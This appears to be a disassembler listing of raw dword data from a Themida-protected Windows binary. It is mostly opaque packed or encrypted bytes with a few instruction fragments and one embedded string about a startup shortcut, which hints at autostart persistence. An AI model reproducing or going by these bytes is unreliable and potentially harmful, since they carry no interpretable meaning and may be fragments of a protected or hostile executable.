dd 0D0C17B7h, 5490556Dh, 4CE1132Ah, 5EE78D1Fh, 6B34F38Bh
dd 2D96404h, 21313202h, 886FF15Fh, 803516F4h, 17351604h
dd 47313220h, 2D6CF146h, 70A43948h, 8A36D200h, 0E11E47B7h
dd 9108B306h, 0EBA71CBh, 1315DC5h, 52315820h, 13131F8h
dd 0C26A1208h, 256DBB5Fh, 2575B306h, 1312B05h, 0C2627180h
dd 31E908Dh, 8CBCB2A7h, 6D17CF8h, 0E8B05468h, 0E2B06F7Ah
dd 6390274Ah, 1328A60h, 15D83280h, 71313240h, 2D400394h
dd 0F1A732C4h, 0F3AE972Fh, 3E5F6B5Eh, 0FECD6B7Ah, 0E9E980E0h
dd 1313286h, 67040207h, 9D8CECEh, 0B8313210h, 5C11077Ah
dd 5B453842h, 5B43D63h, 50313201h, 326E53E0h, 0E12CB3DDh
dd 458CBF27h, 8C36D747h, 0E468D785h, 82458A03h, 84023390h
dd 6D11F28h, 0E8F0FDABh, 4BE3D20h, 67313220h, 0AA54D591h
dd 8AE9BE6Eh, 0E139FF91h, 0D6BA5405h, 5E983A9h, 0C08BA4F3h
dd 18B9BD89h, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 0DA1239C3h, 2DDAD28h, 9509605Dh
dd 7E00741h, 0C38BF88Bh, 5B118D8Dh, 0BF0F07E5h, 158D89DEh
dd 6A07E018h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 0D98AC350h, 9DD7ECE8h, 0C749445Bh
dd 0E0204985h, 666807h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 81AE0AC0h, 0F6BF0F6Ah
dd 22C585C7h, 7E0h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 2C9774C3h, 13F33D42h
dd 9858B60h, 0F07E020h, 0FF61C3B7h, 0E004A9B5h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0FD39598h, 882h, 0B58B5300h, 7E005F1h, 9195FF5Eh, 8007E020h
dd 6A46F3h, 18A995FFh, 0C08B07E0h, 0DEF5EEBh, 0C0F29D0Ch
dd 0ECF7E1BEh, 6D617654h, 3E390603h, 9B90F069h, 0E7EAE996h
dd 0AD6CF055h, 0E8610B39h, 26BB8444h, 974D01BDh, 1D15F54Fh
dd 3FFD1DB0h, 0C6DFEA31h, 7933202Bh, 7D4A11FAh, 319026A4h
dd 91B38295h, 3B1E2C13h, 5BF4D1F3h, 0B79F10DDh, 5F424665h
dd 50476110h, 929D6CC0h, 0D4712ADEh, 0DC4B46D4h, 0C8557F01h
dd 98525CD4h, 0A90B3363h, 982633A9h, 5E265AF1h, 78216AEFh
dd 0B44E6032h, 67A5E4FFh, 780F1EF8h, 70A3BEA1h, 6721D02Ch
dd 0A1A3BA79h, 1B21D3FAh, 7809C6D7h, 1D293332h, 98263383h
dd 0C3A2B6C0h, 15763443h, 7D7D45D6h, 0DD963AEh, 9FC61DEDh
dd 98266483h, 15235935h, 7D7DB51Fh, 1DAB634Ah, 9FC368D0h
dd 15B3CC03h, 9321D3B2h, 0A1A23C14h, 1526336Ah, 7D7DB5B0h
dd 0AACE639Dh, 0D826334Dh, 14A3BEF6h, 0C821D608h, 0C3A0B624h
dd 67763431h, 783EB2FFh, 94E2B032h, 0C3A0B617h, 157634A8h
dd 7D7D4523h, 0DD96354h, 9FC61D90h, 9826513Dh, 74AD666Ah
dd 0CE746464h, 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h, 97260CD3h
dd 67D9C62Ch, 13EF002Bh, 0B2CF3B17h
dword_5A2400 dd 0AB263335h, 1831B948h, 68AD03A7h, 5AAD63E8h, 982C8800h
; DATA XREF: Themida_:0054CFDCo
dd 9BCF33A9h, 6F2633D4h, 66A57D89h, 6CA13C35h, 0C3D9CC65h
dd 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h, 0C6E7B856h, 517F6C8Eh
dd 152637A8h, 7D7D4788h, 31ABBE9Dh, 2021D611h, 93h, 71E7FC78h
dd 0D0073102h, 4C783C8h, 0F2850F49h, 8DFFFFFFh, 0E55CA9B5h
dd 0C88D8D07h, 2B07E55Ch, 5E983CFh, 8D8DC88Bh, 7E55D70h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0ADC35343h
dd 919D8BC6h, 8907E01Ch, 0E018158Dh, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 9D89EE65h
dd 7E01D51h, 204985C7h, 5B8007E0h, 11E80000h, 0B7000000h
dd 0FAC59408h, 78A726D5h, 720987F1h, 0D3DDC4E5h, 0C7B88FBEh
dd 85C75A48h, 7E022C5h, 0
dd 25E1958Bh, 0B5FF07E0h, 7E01261h, 0BEF68166h, 9195FF63h
dd 2307E020h, 0E01AEDBDh, 0FF006A07h, 0E018A995h, 0EBC08B07h
dd 8AC2A538h, 4655B5E7h, 0E33EF3B2h, 5412BB20h, 4E656FCCh
dd 9853EE07h, 0C2E8FFD8h, 0CF723B6Fh, 0C4576B54h, 19E4DD47h
dd 837732Fh, 6B20B14h, 75F0340Ah, 13FBF88Fh, 0B1AB98FEh
dd 0CB4660CCh, 0B202BF54h, 0BA709C74h, 0BCA6F34h, 0B64ECE47h
dd 0C2DE2F7h, 5BD48532h, 0B30D7361h, 0BCD7831h, 2B38BBBBh
dd 964018D2h, 0C2F3350h, 539614CDh, 0A085EB1h, 7FCDF6D2h
dd 0B39EA825h, 0BCD7831h, 2B38BBBBh, 964018D2h, 0C2F3663h
dd 539614CDh, 0E39EE358h, 0BCDF131h, 500EA312h, 0FE920BBh
dd 0FE97AB3h, 0BCD1F2Fh, 0C70EDC71h, 4D8031C8h, 6DC62BC8h
dd 0FE5078A6h, 4CA1824h, 0CB46878Dh, 0AE0B3BBh, 87AB18D2h
dd 0F33E0FEAh, 8FC2C39Ah, 0BCDE098h, 0E39AF158h, 0BCDF831h
dd 540E2312h, 0FE942BBh, 0FE95BB3h, 0BCD8F27h, 0B0E9075h
dd 1E7060DFh, 0BCA1123h, 0BC27C3Dh, 0B1AB7C32h, 7C2461CBh
dd 0CD1F31h, 0EBCAFA8Fh, 2CCD7935h, 8AABE132h, 86F710D9h
dd 0E857C7B7h, 58CD1635h, 0BCD3DDAh, 0C8963F32h, 2F910669h
dd 2F894636h, 0BCDF636h, 0C89EB232h, 0F346DBD6h, 41D83C7h
dd 0BCD38B3h, 0A6589432h, 8ECA6F2Fh, 0F449C8F2h, 0E3CDE332h
dd 0BCDF126h, 85B76576h, 927354D7h, 70BBA011h, 0B4085C41h
dd 0AFA353F5h, 0A948C85h, 0EBF982A7h, 5CF57035h, 4367954h
dd 0BCD31B7h, 5BCD5432h, 0BCD1CDAh, 0C895AF32h, 2F894E6Ah
dd 2F896236h, 0BCDE436h, 0C89DB832h, 8AABDEACh, 9CF3A4Ah
dd 92A9B3Dh, 0BA78F32h, 0BCE2F64h, 55EDE332h, 7F44AFF1h
dd 4F4CFC16h, 0BDB7816h, 5D8B3E32h, 28B4B5F1h, 1CE412BBh
dd 8AABC0D2h, 4AD7F0Ah, 0BCD88B7h, 5DCD9232h, 0BCD7FDAh
dd 0C8931E32h, 2FB9966Ch, 2F890E36h, 0BCDDD36h, 0C89BA532h
dd 0E1A7121Ah, 8B5F9CC8h, 734DC7F3h, 8EC2D630h, 0BCD1F78h
dd 1AA63554h, 74074654h, 734C853Eh, 466F134h, 0BCDCDB7h
dd 6902FD32h, 0E2C87BA8h, 0BCD1D5Bh, 0E39B8F58h, 0BCDC731h
dd 550EBD12h, 0FE985BBh, 0FE9BCB3h, 0BCD7C28h, 0D50E6874h
dd 1939BD02h, 0DC4676F5h, 0E584ABBh, 0B73E4D2h, 88BF033h
dd 0EBE021A7h, 3448F135h, 80CADDA8h, 0EBC60EA7h, 8A1D7035h
dd 893CB9C0h, 40D6632h, 0BCFF4B6h, 59CD9232h, 0BCD7FDAh
dd 0C8971E32h, 2F999668h, 2F890E36h, 0BCDD336h, 0C89FA132h
dd 6DF57016h, 4CFFA0Fh, 0BCD21B7h, 5BCD5432h, 0BCD1CDAh
dd 0C895AF32h, 2F894E6Ah, 2F896236h, 0BCDE936h, 0C89DB832h
dd 80FAE0A5h, 0AA780FB6h, 8ACAFF3Ah, 36AB894Ah, 8FC2BD6Dh
dd 0BCDE28Fh, 0E39CF158h, 0BCDF831h, 520E2512h, 0FE972BBh
dd 0FE95BB3h, 0BCD8F2Fh, 0D70E9673h, 0F8C7ECFCh, 0CDE4E5C4h
dd 845C43FFh, 8AAB4F31h, 4ADA20Ah, 0BCD97B7h, 5ACDE532h
dd 0BCDC4DAh, 0C894C332h, 2F81786Bh, 2F897936h, 0BCD6036h
dd 0C89C7F32h, 90BC1939h, 8E8542B3h, 9B547BFh, 5148ECDAh
dd 0BECDF132h, 734C9E5Fh, 40D7C34h, 0BCD72B7h, 58CD7532h
dd 0BCD8CDAh, 0C896E732h, 2F916A69h, 2F897036h, 0BCDE236h
dd 0C89E3F32h, 2BDBA071h, 0E2A75646h, 0BCD8E17h, 0E39DC758h
dd 0BCDE331h, 530EA912h, 0FE9BCBBh, 0FE938B3h, 0BCD3E26h
dd 0D30E4F72h, 0BCE073Dh, 0BCC2C732h, 0ACD5DC8h, 0BA78F33h
dd 0BCE1062h, 53ED7C32h, 4F4466F1h, 4F4C1B16h, 0BD98B16h
dd 5B8DC732h, 8E4072F1h, 0C2E6B0Dh, 0DB3212B8h, 0BCBF53Dh
dd 9E443E32h, 0C2D1947h, 8FC24FB7h, 0BCDC79Ch, 26086E19h
dd 9E44F6D2h, 0C2DD94Bh, 42544B2h, 0BCD0AB7h, 0F43B9F32h
dd 254832BBh, 734DC0D2h, 8EC29037h, 0BCDF113h, 0BCDEADBh
dd 3504CD32h, 0DC92E14Bh, 7DAB52A4h, 0A9B44421h, 8B935E11h
dd 49EE44Ah, 0BCD89B6h, 334C9E32h, 8EC279BDh, 0BCD3E68h
dd 10CCA054h, 63CBF7B2h, 0B81423Dh, 4ADE332h, 6A382085h
dd 0B57954h, 8EC259CDh, 0BCD3E08h, 0BCD12DBh, 7D35EB32h
dd 0C897E1Fh, 7BD8B546h, 3D241248h, 61CDF832h, 8252D32h
dd 2BCD3E32h, 8294DC6Bh, 8AC9AB7Eh, 1EC9E376h, 4ACDE332h
dd 0D7DE3263h, 2B7C75BBh, 0B757BD2h, 22CD3E32h, 0EBFD42B7h
dd 0BEF6635h, 0C44DC732h, 0BCC5B97h, 0BEADF132h, 0BDC1105h
dd 249A7C32h, 33533393h, 7173F465h, 0A5162F13h, 6A3C0F72h
dd 599D83A2h, 0BCDF4DAh, 0D279A032h, 4972750h, 0B4C3103h
dd 51CD1F32h, 6B9DEE6Ah, 0C917F54h, 0D1468552h, 6AACAF62h
dd 0D4EF7A2h, 8ACD7C32h, 0A09B9FF3h, 0A670925Ah, 86CA6A6Fh
dd 0EEAFB2BFh, 5EEE5B35h, 8ECE8654h, 0C2DD593h, 0E20CB319h
dd 0ACD5D30h, 0BA78F33h, 0BCE1062h, 53ED7C32h, 4F4466F1h
dd 4F4C1B16h, 5E98316h, 6A58A4F3h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0DE65C351h
dd 28D78166h, 459D0BBFh, 0BB07E020h, 14BBD20Ch, 68A0FF8h
dd 1000000h, 0E01E5995h, 0FC00B07h, 7884h, 38F0F00h, 80000000h
dd 0B58DD3F7h, 7E04EE8h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 0BDC35040h, 0B40D0783h, 8166AE7Ch, 0B8149FD2h
dd 3, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h
dd 0E9C35545h, 3883A079h, 85958B42h, 0FF07E028h, 0FE9E6h
dd 0AE3A0000h, 14CEB371h, 8A11BA21h, 0A1530D14h, 6A4009h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 8B29E0C3h, 83B0B2C0h, 0E006B1BDh, 9750007h, 1C5BD83h
dd 740007E0h, 8B535019h, 403B8C0h, 85890000h, 7E02399h
dd 0BCC99D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h
dd 403B853h, 85890000h, 7E02399h, 0B96A9D8Dh, 0D3FF07E2h
dd 6A585Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 835EAC3h, 580D03E2h, 0C995892Bh, 8B07E01Ah
dd 0C9B589C0h, 6107E02Ah, 12E8h, 9BADA600h, 7BA9D0DDh
dd 2A467D8Ch, 4E014CF8h, 17EE82Bh, 0E0051D8Dh, 0EB8A5A07h
dd 6A46C281h, 85090000h, 7E03185h, 858BDB2Bh, 7E0141Dh
dd 661334FFh, 5F5C09BEh, 0D806EF81h, 0B58963ECh, 7E01F85h
dd 8E05EF81h, 0B58B690Dh, 7E02BA5h, 0A28AF781h, 89605E61h
dd 0E0162D95h, 89858B07h, 6107E005h, 8A0F6057h, 6, 870Fh
dd 830F0000h, 6, 0FF1BD8Bh, 8F6107E0h, 8D8B1A04h, 7E011B5h
dd 10CDB58Bh, 0EB8307E0h, 81E58A04h, 0FF9654FBh, 91850FFFh
dd 0E8FFFFFFh, 0Dh, 0F69DE8A0h, 0F988298Eh, 0C6273B62h
dd 958957A3h, 7E0226Dh, 0B503585Eh, 7E02D9Dh, 665FC081h
dd 12E90000h, 7E000000h, 0A3BC6FCDh, 2AAAFB01h, 0C0341AF4h
dd 351328E0h, 6847h, 95890000h, 7E00FD1h, 459D8B5Ah, 0FF07E00Fh
dd 12E90234h, 82000000h, 0B37F40DBh, 48BAEEFCh, 0AEB3D138h
dd 7AAE3508h, 0B58B59B1h, 7E00475h, 0B236F181h, 8D897E76h
dd 7E02C2Dh, 8F94F181h, 0B52B1DF7h, 7E0080Dh, 0CEBBF181h
dd 8B6624F3h, 100C89DEh, 68C0Fh, 9D8B0000h, 7E02A71h, 6C86BF66h
dd 3301EA83h, 0E02EDD9Dh, 4A4A4A07h, 58FA81F9h, 0FFFFF9Ah
dd 0FFFF9285h
dd 0E8DE8BFFh, 10h, 0E44ACE31h, 0D96755DCh, 9743A5E3h
dd 4B4F6DF5h, 2B19B529h, 8B5A07E0h, 0F8C281F0h, 80000064h
dd 4CB95EDFh, 81364E67h, 0B1B1C8C1h, 1D9D89C9h, 8B07E024h
dd 11E83Ah, 0D5600000h, 0B0BA8614h, 87506430h, 40F87EBEh
dd 0FB5BDB2h, 48Ah, 38BB6600h, 0EF81584Ch, 59E01D48h, 12E9h
dd 25F00400h, 53FF100h, 135C2CB9h, 7AF74F49h, 81244E30h
dd 477362C7h, 0C8816678h, 0C78116D3h, 6895ABB4h, 0BD893A89h
dd 7E02315h, 80AFEA81h, 0F78B13B2h, 80ABC281h, 0B86613B2h
dd 0E981AA0Fh, 1, 0FF89850Fh, 0DA8AFFFFh, 92E9h, 78700E00h
dd 6F68535Dh, 75637472h, 6F742074h, 61747320h, 70757472h
dd 1Eh dup(0)
dd 0E9000000h, 0EACh, 0E5684B68h, 0E1A9E907h, 3368FFFBh
dd 0E907E569h, 0FFFBE19Fh, 0E56ACB68h, 0E195E907h, 0F68FFFBh
dd 0E907E56Bh, 0FFFBE18Bh, 0E56BD868h, 0E181E907h, 7968FFFBh
dd 0E907E56Ch, 0FFFBE177h, 0E5701068h, 0E16DE907h, 0BB68FFFBh
dd 0E907E572h, 0FFFBE163h, 0E573AE68h, 0E159E907h, 0A727FFFBh
dd 2BB02C03h, 0BD3EBA91h, 42C8441Bh, 0D057D3AAh, 895A633Ah
dd 0D1A83EC5h, 5D34D255h, 0E8BF5FE1h, 754CE86Ch, 0CDB379D0h
dd 0E16327C8h, 0AD31D35Ch, 1B69FF86h, 9DDB181Ah, 1D3CD813h
dd 630F9AE8h, 53DD78DDh, 0DE85D959h, 0F87CACA9h, 0D8E9855Ch
dd 4F884E0Dh, 84632281h, 6DBB51D8h, 8C28AC6Ch, 0B6403D3Eh
dd 6F59FF4Dh, 0DA632274h, 0F7E495E0h, 25C43703h, 25h, 35B0112Ch
dd 648BB076h, 3CA56322h, 645E48EEh, 36C96322h, 6A67098Ah
dd 8BD081D4h, 11C43717h, 105h, 11AD3118h, 1AB037C3h, 629AF5Bh
dd 9596E484h, 1AA56360h, 14FE96Eh, 4FD30300h, 55D965B3h
dd 0DA0FA92Eh, 68526D03h, 8D395B42h, 3F6F6C0Ah, 0CC481FBBh
dd 42EDAC48h, 4267967Ch, 4441AA5Bh, 74E7DA86h, 4266C8AEh
dd 467BE45Bh, 87CCC187h, 6F1B6322h, 0C54F4CEEh, 60264ED1h
dd 6322877Ah, 38F82D96h, 0C6C715B7h, 0A026D291h, 2B60F67Dh
dd 764BE72Eh, 62EAB06Fh, 596B0543h, 908D29ADh, 33DE9D06h
dd 44FB876Dh, 2BAFA35Bh, 0B40418Fh, 0AC33DF0Eh, 1AC5716h
dd 44FB553Bh, 2600695Bh, 5B44FB40h, 0AFF6F35Ch, 0C16AC33h
dd 72A31A6Eh, 37E5835Dh, 7C00000Ch, 58158FCh, 930FE680h
dd 1D997012h, 0AC28FF97h, 0AFB88F25h, 0FD931A34h, 8927AA26h
dd 14B436B2h, 0A13DC13Dh, 8CE25CAh, 6327CB22h, 3230B93Eh
dd 7A446E44h, 0B0C5AF6h, 0BED77E09h, 0FB0F3897h, 0CECB00AAh
dd 0AA81179Eh, 370EAA2Eh, 35B011BAh, 648BB076h, 3CA56322h
dd 31B763EEh, 4D4A4B99h, 22641903h, 72088F63h, 0EB179824h
dd 22643F25h, 0BDF25B63h, 0C260E36Fh, 999CE70Dh, 98F3BCEh
dd 97DE7471h, 3717F1E6h, 0A027C4h, 312E0000h, 37C311ADh
dd 26CC1AB0h, 5B42680Bh, 885FFB7Fh, 9EEC880Ch, 5716CFF2h
dd 22889C91h, 0B087F063h, 7938AD14h, 5401AB3h, 9743366Bh
dd 0BAA07A10h, 315B4500h, 4500856Bh, 1630995Bh, 0DB978ADh
dd 0BEEDEA8Ch, 1EF58B12h, 7B851BA2h, 72A31FA5h, 4F1AB892h
dd 6400000Bh, 0ED6940E4h, 7BF7CE68h, 58158FAh, 9410E77Fh
dd 97A0770Dh, 0E57B024Ch, 710F920Eh, 0FC9C1E9Ah, 8925A925h
dd 0F0B60DB2h, 6327CC0Ah, 3118A126h, 0A95514AAh, 42898628h
dd 0CFA642C6h, 0D3DB6654h, 0D37CA213h, 0AD31A5D6h, 0B337C311h
dd 2BAC5817h, 3D3A3B89h, 7E675AF6h, 9304F9BFh, 84786322h
dd 0E02E6301h, 2292503Ah, 0F2C1BB63h, 8E743AE5h, 0BA632292h
dd 48F9F2C1h, 0CA334D38h, 0FA5F7CCDh, 6A16C437h, 0C44C49E7h
dd 7, 7CA1FCBh, 119A0000h, 0CB7635B0h, 42631F05h, 0D5D23B5Bh
dd 6723E0A6h, 84ED6322h, 0B639D7C5h, 36FDF175h, 6BEF7B39h
dd 0F87CF8CFh, 0F1B14DD1h, 4F9DD26Ch, 66E6E9A9h, 0C68D23CAh
dd 0C19834B8h, 6625C145h, 97001F78h, 0E5E244D9h, 0CB988127h
dd 59B3BBE6h, 0D1F87C0Ah, 0C07FB44Ah, 0CB694F15h, 1C85BBE6h
dd 0D85CD81Fh, 5B48EE3Ch, 8ABBE6CBh, 1DA13184h, 0AA2EAA81h
dd 4735C00Eh, 0F00ED8B2h, 0BA0A0703h, 741FDE07h, 521D03C9h
dd 0C831FA9Eh, 7DAC81CBh, 0ADA0027Eh, 0FE2701E7h, 7FB41DF3h
dd 26F3AFA8h, 0E08B4A9Bh, 0FE27341Ah, 0E2DF48F3h, 2E5CEDB3h
dd 9843FBDEh, 9E25ECD2h, 8B0C00FAh, 659A9BE9h, 4175DE68h
dd 0B454D682h, 1E686566h, 0D8AF0727h, 0BF269Bh, 6D9A753Ah
dd 0D01E87A4h, 89489D24h, 0D119C1C3h, 0A564CDA9h, 1AD975F9h
dd 4B4DEB6Eh, 2C7A633Eh, 377E7B3Ch, 919B37BBh, 33E923C9h
dd 0B78624FEh, 0FC000009h, 8501D87Ch, 138F6600h, 9D19F092h
dd 2CA87F17h, 2F380FA5h, 7D139AB4h, 9A72AA6h, 9434B632h
dd 21BD41BDh, 884EA54Ah, 6327CDA2h, 31B039BEh, 670186ADh
dd 0D9E31819h, 72A1821Bh, 73B85630h, 40000009h, 0C9451CC0h
dd 57D3AA44h, 0E15D34D6h, 70ECC35Bh, 737C53E9h, 0C157DE70h
dd 4DEB6EEAh, 0D878FA76h, 65018501h, 0CC92E98Eh, 6327CDE6h
dd 31EC75FAh, 0A65211ADh, 35368424h, 67EE7A38h, 0A101FAD1h
dd 9CCF4978h, 0DBC2142Dh, 773DFC31h, 6322ABE6h, 0EBC5F962h
dd 24E002C6h, 41EFC7B5h, 37C64EC7h, 40CCB278h, 77E021A0h
dd 4E972A7Ah, 0B238E48Fh, 206E0C8Fh, 9B9CEA1Fh, 558F549Eh
dd 0F8612980h, 22C3FEAAh, 9733B763h, 9F37BD49h, 933E6D6Ah
dd 0C8C565E7h, 0E3AD7C7Eh, 0E09F0824h, 0BB47B034h, 0AB29F3BBh
dd 0C33E154Ah, 0A66C9417h, 21A073C0h, 0F03E73DCh, 0EAC2FEFh
dd 0C15DE111h, 0FF9383B7h, 40DEB8B4h, 8AAh, 0EE58909h
dd 9C730D92h, 26FD9F20h, 0B58C24AAh, 451CB239h, 20A7A73Ch
dd 0B437B38Ah, 41C33F16h, 0CA4ECAA1h, 5BB2572Eh, 27CEAF95h
dd 0BD46CB63h, 5211AD31h, 3B891FA6h, 0F47F3D3Ah, 0F53DBD06h
dd 817E1779h, 582FCF51h, 14AA31DDh, 2047CD17h, 645D5B43h
dd 1BFCC281h, 35632886h, 0DD610DCCh, 6AEE6A41h, 4AF580CEh
dd 3280189Eh, 3E715731h, 248D6328h, 0DA70F727h, 4EEC6F1Bh
dd 1A089351h, 1B554295h, 0DB6020D7h, 92144441h, 31BCA268h
dd 67D06328h, 4C182832h, 552F7544h, 809B7h, 862AAA00h
dd 14AE33AFh, 9E40C13Dh, 2DC54BC7h, 0BD53DA56h, 4806DDE6h
dd 0D8542BC1h, 64E0B755h, 0EF6B42E2h, 53F8CF6Bh, 0CF5036FCh
dd 0E76C6327h, 11AD315Eh, 8DB337C3h, 0E7C15DE1h, 5B426301h
dd 6F7E3735h, 1F398804h, 4C3381B6h, 8F13A3F2h, 0F5A11CF3h
dd 84D5D274h, 0C3D73957h, 4B7C5h, 0B011CC00h, 0CFB07635h
dd 346327C8h, 68650788h, 0BB675DEh, 0C9B49A60h, 9B226327h
dd 9CB6B705h, 82063633h, 54730FE6h, 0A7ECDA99h, 3C45FF63h
dd 0B9EC4C4Eh, 36DD51CAh, 3AD57B39h, 0A5DC9410h, 0ACA9D8ABh
dd 0EABD5E3Fh, 40h, 37B611F1h, 62CCB278h, 77E05B42h, 0E98B0CB8h
dd 0DF9D9A9Bh, 8923A854h, 0F33D3A3Bh, 7BA9C54Dh, 3E6F3630h
dd 0E3B07019h, 0FA52CD8h, 3BC3C0C1h, 0Ch, 1B01F42h, 0F09C0000h
dd 0A1D2CF6Dh, 0E937B611h, 0AECFA843h, 0B6FDF7D4h, 0BB7AD207h
dd 1848BAh, 114F0000h, 43E937B6h, 0D4AECF89h, 0DA8BDAD4h
dd 0BABB7EFDh, 531Bh, 0B6112200h, 0CCB27837h, 0E05B4262h
dd 82D3B177h, 0F566CDFh, 0D751795Eh, 369FC3h, 11A60000h
dd 0B27837B6h, 5B4262CEh, 3C679E2h, 0EC3AD057h, 5F41EEEBh
dd 69B751D6h, 6FBD59DDh, 888DD8DEh, 0C3F2C1BFh, 0C3D71296h
dd 704h, 2B1F0B00h, 9A000001h, 0F61Fh, 86329A00h, 18196701h
dd 0F1FCCB1Bh, 0A66EFDA3h, 9629B092h, 83A72BA8h, 0C382D071h
dd 92B217FDh, 0CDCA33B0h, 183D6C37h, 7E96875Dh, 9Ah, 37B61185h
dd 9C21CD78h, 0D5BB0502h, 0E95B4262h, 634A30F6h, 0FD665B42h
dd 0CE1CBA3Dh, 0A44A98CDh, 7B6290DAh, 2BB80B05h, 0F5DFD7Fh
dd 9BC0110Eh, 1E3F73Bh, 53h, 37B61108h, 62CCB278h, 0EDE05B42h
dd 42634127h, 0BFF45D5Bh, 35CF5400h, 6127E6E7h, 5B42637Bh
dd 6B29268Fh, 628FFBC5h, 0E89326C8h, 62903C22h, 8927AAC8h
dd 0B7203A3Bh, 205124BAh, 0AEF73F3Bh, 1D61h
dd 0F9BF6A00h, 0C8629813h, 7BFEBE27h, 32AFE0DDh, 0D5B6D144h
dd 0EFEC5CE7h, 5DADh, 0AD312800h, 341DC311h, 0AA5B4263h
dd 0B33F8D23h, 5D449230h, 0EBADB003h, 800492E1h, 63AE945Ah
dd 0CFC25B42h, 42632309h, 99CE375Bh, 11108D64h, 0CD7837B6h
dd 42632107h, 0D7D43D5Bh, 0C445F1B4h, 0E3782522h, 0CAF2C1BFh
dd 5B42701Eh, 1FE0F6D7h, 0E338C3D7h, 3FFFFFFEh, 2831Fh
dd 0AD319A00h, 62DBC187h, 86EF5B42h, 0F3770351h, 59058057h
dd 0E7E836D8h, 0BE279AEAh, 6A0039FFh, 8FC6322h, 0A127E785h
dd 6A15D409h, 1F8FA77Ch, 5C36EA9Dh, 63231576h, 6624218Ah
dd 81AE2FDBh, 151664FAh, 0AF99E3E0h, 25632315h, 29B503A3h
dd 31BD0BA3h, 0C5C614AAh, 0A6ABFA00h, 592E1DBh, 0E937D759h
dd 0BD9AEBE8h, 0DBC437A0h, 31h, 35B011E2h, 648BB076h, 3CA56322h
dd 0F2B863EEh, 6322640Ch, 1C7DEA20h, 0A433CFBDh, 3E28726Fh
dd 0A96322FAh, 0A0B5E4AFh, 0F6C43781h, 9Dh, 11AD31FDh
dd 0FBE1A752h, 0F5B4262h, 5FEBA9A6h, 68F442D8h, 9B8948E4h
dd 9EDA781Eh, 0EAA8A55Dh, 6871DA5Eh, 8196C0D5h, 0E230D052h
dd 0A077ACE1h, 428CEF0Ah, 0BB57DB5Bh, 6C7948E4h, 3DCCE7ADh
dd 13BF6325h, 0A5A6F48Eh, 79C75FE5h, 88F17B78h, 961DC9h
dd 9026AD29h, 431AAC86h, 23C19B75h, 472h, 461DC141h, 0D4AB45CAh
dd 5E35D758h, 0EDC45CE2h, 7D54EA71h, 58DF6F74h, 0EC6FEBC2h
dd 79FB774Eh, 28602D9h, 93EA8F66h, 27D2E7CDh, 0F57E0363h
dd 3D14AA31h, 0CAA13DC1h, 11AD314Dh, 17B337C3h, 3D1DA440h
dd 0D75A1ABCh, 7F450439h, 63228EAAh, 38CE5501h, 3CBDB13Bh
dd 3DC04C9Ah, 0E5AB6A9Fh, 63228DFFh, 2F7DB21Bh, 228EA189h
dd 0F7931763h, 0FC9A1DA9h, 814E0AEh, 0D96A9A52h, 0E1642FF5h
dd 69196CC6h, 22CE8D58h, 0D302FFA1h, 2C4380Dh, 7D03AF6Bh
dd 6A5EE8E5h, 6FFA48E8h, 427FC3A9h, 396ED75Bh, 30912D04h
dd 4F30F6B5h, 596327E6h, 988631F0h, 0F2FD6CC1h, 472D0787h
dd 6363278Eh, 8DC4AA70h, 6FD86327h, 0CFB57B3Ah, 0EB63278Dh
dd 0AA568582h, 1CC88729h, 0ABACFA9Ah, 0F1D167AEh, 5763278Dh
dd 0D05E35D5h, 44h, 632D174Bh, 43835B42h, 0D859D5ACh, 5C42E836h
dd 0A65B4263h, 840595E0h, 0D8F0BE2h, 7E02AE6Dh, 969394E2h
dd 634932D8h, 7F525B42h, 0A02750D3h, 8687D50Ah, 631B01C7h
dd 0C62F5B42h, 526033C9h, 0DC5930D0h, 384AF31h, 52DE2C61h
dd 0C67130D0h, 42631A00h, 0BF174E5Bh, 899F38Fh, 0CA8885EEh
dd 0BF44F0E3h, 0D9D6D725h, 0E0627043h, 51D58140h, 667F652Bh
dd 329B5B42h, 1EB83DFDh, 5644DA21h, 1F5B4279h, 9232B460h
dd 3164495h, 6E86C3D7h, 8DFFFFFFh, 5211AD31h, 33D9F364h
dd 706DF048h, 6A226B2h, 0B72E932Fh, 1EA14DF8h, 398380h
dd 0FC632316h, 0B59F4593h, 2B63230Dh, 33BF0DA5h, 0FDC513AFh
dd 4E191C67h, 0F2880FBBh, 0F79518A4h, 7673A8A9h, 0F7E495E0h
dd 7EC437B8h, 15270DD3h, 189D6323h, 0FEFB647Eh, 3876h
dd 87327D00h, 4262DBC1h, 8986EF5Bh, 9E5D8839h, 82D070F2h
dd 0AA558481h, 8FDD7BFEh, 2247918Eh, 3E632265h, 0F7E187D5h
dd 62632263h, 6F6C1D68h, 0ADC43717h, 0D4h, 11AD31B4h, 0C78D38C3h
dd 5B4262E1h, 1F39D157h, 289B9B6h, 0E7931E6Ch, 7B7CCA60h
dd 6310F6BCh, 0C32C5B42h, 0EC1296C6h, 42634026h, 0BEF35C5Bh
dd 0A88E54FFh, 0DC5B4263h, 3A2068E6h, 0BE274164h, 0F37703C1h
dd 0CFEA8057h, 0BB5B42BFh, 0FBB3CE37h, 6C4527FBh, 60E46037h
dd 0F7CA76C4h, 18692FEEh, 8F6322FEh, 78C65CE3h, 87F07A77h
dd 0ADAD14B0h, 9A598E28h, 573B3D4h, 44C9BD6Bh, 595B5CAAh
dd 0B63C1BFCh, 0C988BD57h, 2900961Dh, 869026ADh, 72A34796h
